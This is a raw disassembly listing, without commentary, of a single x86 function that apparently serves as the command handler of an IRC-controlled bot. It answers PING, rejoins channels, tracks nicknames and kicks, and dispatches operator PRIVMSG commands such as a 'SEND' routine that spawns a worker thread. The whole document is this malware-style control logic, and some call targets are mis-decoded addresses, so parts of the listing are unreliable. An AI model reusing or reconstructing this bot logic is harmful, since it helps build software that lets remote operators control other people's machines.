var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AAC	= byte ptr -2AACh
var_2994	= byte ptr -2994h
var_2914	= dword	ptr -2914h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= byte ptr -28FCh
var_287C	= byte ptr -287Ch
var_277C	= byte ptr -277Ch
var_267C	= dword	ptr -267Ch
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= byte ptr -2654h
var_25D4	= byte ptr -25D4h
var_24D4	= byte ptr -24D4h
var_23D4	= dword	ptr -23D4h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= byte ptr -23ACh
var_232C	= byte ptr -232Ch
var_22AC	= byte ptr -22ACh
var_222C	= dword	ptr -222Ch
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= byte ptr -2218h
var_2198	= byte ptr -2198h
var_2118	= byte ptr -2118h
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= byte ptr -2084h
var_2004	= byte ptr -2004h
var_1F84	= byte ptr -1F84h
var_1F04	= dword	ptr -1F04h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= byte ptr -1EF0h
var_1DF0	= byte ptr -1DF0h
var_1D70	= dword	ptr -1D70h
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D4C	= byte ptr -1D4Ch
var_1D38	= byte ptr -1D38h
var_1C34	= byte ptr -1C34h
var_1BB0	= dword	ptr -1BB0h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B98	= byte ptr -1B98h
var_1B84	= byte ptr -1B84h
var_1A80	= byte ptr -1A80h
var_1A00	= dword	ptr -1A00h
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= byte ptr -19E8h
var_1968	= byte ptr -1968h
var_1928	= byte ptr -1928h
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1818	= dword	ptr -1818h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= byte ptr -180Ch
var_17D4	= byte ptr -17D4h
var_17B8	= byte ptr -17B8h
var_1780	= byte ptr -1780h
var_177C	= byte ptr -177Ch
var_16FC	= byte ptr -16FCh
var_16BC	= byte ptr -16BCh
var_162C	= dword	ptr -162Ch
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= byte ptr -1618h
var_1598	= byte ptr -1598h
var_1518	= dword	ptr -1518h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= byte ptr -1508h
var_14F8	= byte ptr -14F8h
var_1478	= byte ptr -1478h
var_13F8	= dword	ptr -13F8h
var_13F0	= dword	ptr -13F0h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= byte ptr -13D8h
var_1358	= byte ptr -1358h
var_12D8	= byte ptr -12D8h
var_1258	= dword	ptr -1258h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1234	= byte ptr -1234h
var_11B4	= byte ptr -11B4h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1114	= dword	ptr -1114h
var_1110	= byte ptr -1110h
var_1090	= byte ptr -1090h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= byte ptr -0FECh
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= byte ptr -0F58h
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= byte ptr -0EC4h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= byte ptr -0E34h
var_E24		= byte ptr -0E24h
var_E04		= byte ptr -0E04h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D00		= byte ptr -0D00h
var_C80		= dword	ptr -0C80h
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_BDC		= dword	ptr -0BDCh
var_BD8		= dword	ptr -0BD8h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= byte ptr -0A90h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 568Ch
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41BF70
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F75
		push	esi
		lea	eax, [ebp+var_428C]
		push	ebx
		push	eax
		call	sub_41BF70
		dec	esi
		lea	eax, [ebp+var_428C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	offset asc_42CDC4 ; " :"
		push	eax
		call	sub_41C2E0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_428C]
		push	esi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		mov	esi, offset asc_42CDC0 ; " "
		lea	eax, [ebp+var_4EF8]
		push	esi
		push	eax
		call	sub_41CAD4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F75
		cmp	[ebp+var_8C], ebx
		jz	loc_401F75
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CDBC ; "!"
		push	eax
		call	sub_41CAD4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a005	; "005"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a302	; "302"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41BFD0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40AE84
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9A
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F75
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E8D:				; CODE XREF: sub_401ACD+5F6j
					; sub_401ACD+8B9j ...
		push	[ebp+arg_4]
		call	sub_409823
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_401E9A:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FDD
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC3:				; CODE XREF: sub_401ACD+448j
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F10
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F10
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41C890
		push	[ebp+arg_1C]
		push	edi
		call	sub_41C8A0
		add	esp, 10h
		mov	edi, 80h


loc_401F10:				; CODE XREF: sub_401ACD+407j
					; sub_401ACD+41Ej
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC3
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	short loc_401F75
		cmp	[ebp+arg_24], ebx
		jz	short loc_401F75
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F4D
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41BFD0
		jmp	loc_4036A2
; ---------------------------------------------------------------------------


loc_401F4D:				; CODE XREF: sub_401ACD+46Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F52:				; CODE XREF: sub_401ACD+4A6j
		cmp	[edi], bl
		jz	short loc_401F69
		lea	eax, [ebp+var_E04]
		push	eax
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F7D


loc_401F69:				; CODE XREF: sub_401ACD+487j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F52


loc_401F75:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401F77:				; CODE XREF: sub_401ACD+2A1Ej
		pop	eax


loc_401F78:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A40j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F7D:				; CODE XREF: sub_401ACD+49Aj
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F75
		push	eax
		call	sub_41B9C0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F75
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_45F0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_401F75
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401ACD+3DCj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FFF
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402026


loc_401FFF:				; CODE XREF: sub_401ACD+51Fj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402004:				; CODE XREF: sub_401ACD+557j
		cmp	[edi], bl
		jz	short loc_40201A
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402067


loc_40201A:				; CODE XREF: sub_401ACD+539j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402004


loc_402026:				; CODE XREF: sub_401ACD+530j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020C8
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40205A
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40205A:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_80]
		push	offset unk_42CCFC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_402067:				; CODE XREF: sub_401ACD+54Bj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CCDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41CA50
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F75
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4020C8:				; CODE XREF: sub_401ACD+56Dj
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41CA50
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		cmp	dword_429088, ebx
		jz	loc_409644


loc_40211C:				; CODE XREF: sub_401ACD+615j
					; sub_401ACD+627j
		push	[ebp+var_8C]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_402160:				; CODE XREF: sub_401ACD+891j
					; sub_401ACD+8CDj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CCC0
		mov	[ebp+arg_8], eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40253B
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402402
		cmp	[ebp+var_A4], ebx
		jz	loc_4023DB
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B84]
		push	edi
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_1B98]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_1A00],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1BA0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F4],	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		lea	eax, [ebp+var_1B84]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CC84
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_19FC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	eax
		push	offset loc_416563
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_19FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40228C:				; CODE XREF: sub_401ACD+7D3j
		cmp	[ebp+var_19F0],	ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 26A0428h
		nop
		jmp	short loc_40228C
; ---------------------------------------------------------------------------


loc_4022A2:				; CODE XREF: sub_401ACD+65Fj
					; sub_401ACD+675j
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022BB
		mov	[ebp+var_4], 1


loc_4022BB:				; CODE XREF: sub_401ACD+7E5j
		cmp	[ebp+var_88], ebx
		jz	loc_401F75
		push	offset dword_42CC80
		push	[ebp+var_88]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022E2
		cmp	[ebp+var_4], ebx
		jz	short loc_4022EE


loc_4022E2:				; CODE XREF: sub_401ACD+80Ej
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_4022EE:				; CODE XREF: sub_401ACD+813j
		cmp	[ebp+var_84], ebx
		jz	loc_401F75
		inc	[ebp+var_84]
		jz	short loc_40233A
		cmp	[ebp+arg_10], ebx
		jz	short loc_40233A
